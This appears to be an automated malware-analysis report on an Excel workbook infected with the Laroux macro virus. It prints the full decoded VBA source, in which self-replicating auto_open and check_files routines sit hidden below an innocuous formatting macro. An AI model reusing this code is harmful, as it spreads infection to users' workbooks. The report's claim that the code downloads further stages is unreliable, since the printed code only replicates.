Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 35fd67ccfa896f75…

MALICIOUS

Office (OLE)

58.5 KB Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 2285ad529ac68914b60fdb10ce20df6c SHA-1: 14bdd809a4d1d534760cf4de5d03ad96e11ca7c7 SHA-256: 35fd67ccfa896f752164b5809fc264ffaf435449adb3f075350d29de4ba3429f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a critical heuristic indicating it is an Excel 5 Laroux macro virus, and also contains VBA macros with an Auto_Open subroutine. The Auto_Open subroutine attempts to execute a function named 'check_files' upon sheet activation, which likely aims to download or execute further stages. The presence of the 'SGV.XLS' filename within the script suggests a potential dropped file or related component.

Heuristics 3

  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3012 bytes
SHA-256: 9b305a481c1ddef4070d17e0f481be6e72772a8a2033aa3f95792a41bb3cff41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SGV"


'
' Insert_Date_Format Macro
' Macro to Insert the Correct Format for the NAB File
'
' Keyboard Shortcut: Ctrl+i
'
Sub Insert_Date_Format()
Attribute Insert_Date_Format.VB_ProcData.VB_Invoke_Func = " \n14"
    Cells.Select
    Cells.EntireColumn.AutoFit
    ActiveWindow.Zoom = 75
    Columns("I:I").Select
    Selection.NumberFormat = "0.00"
    Range("D1").Select
    Selection.EntireColumn.Insert
    Selection.EntireColumn.Insert
    Selection.EntireColumn.Insert
    ActiveCell.FormulaR1C1 = "=+RIGHT(RC[3],2)"
    Range("E1").Select
    ActiveCell.FormulaR1C1 = "=+MID(RC[2],4,2)"
    Range("F1").Select
    ActiveCell.FormulaR1C1 = "=+LEFT(RC[1],2)"
    Range("D1:F1").Select
    Selection.Copy
    Range("D2:D16384").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Selection.End(xlUp).Select
    Columns("D:F").Select
    Selection.Copy
    Range("D1").Select
    Selection.PasteSpecial Paste:=xlValues, Operation:=xlNone, _
        SkipBlanks:=False, Transpose:=False
    Range("D1").Select
    Range("A1").Select
End Sub






































Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "SGV.XLS")
    If m$ = "SGV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("SGV").Visible = True
    Sheets("SGV").Select
    Sheets("SGV").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("SGV").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "SGV" Then
        Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("SGV").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case Else
End Select
End Sub

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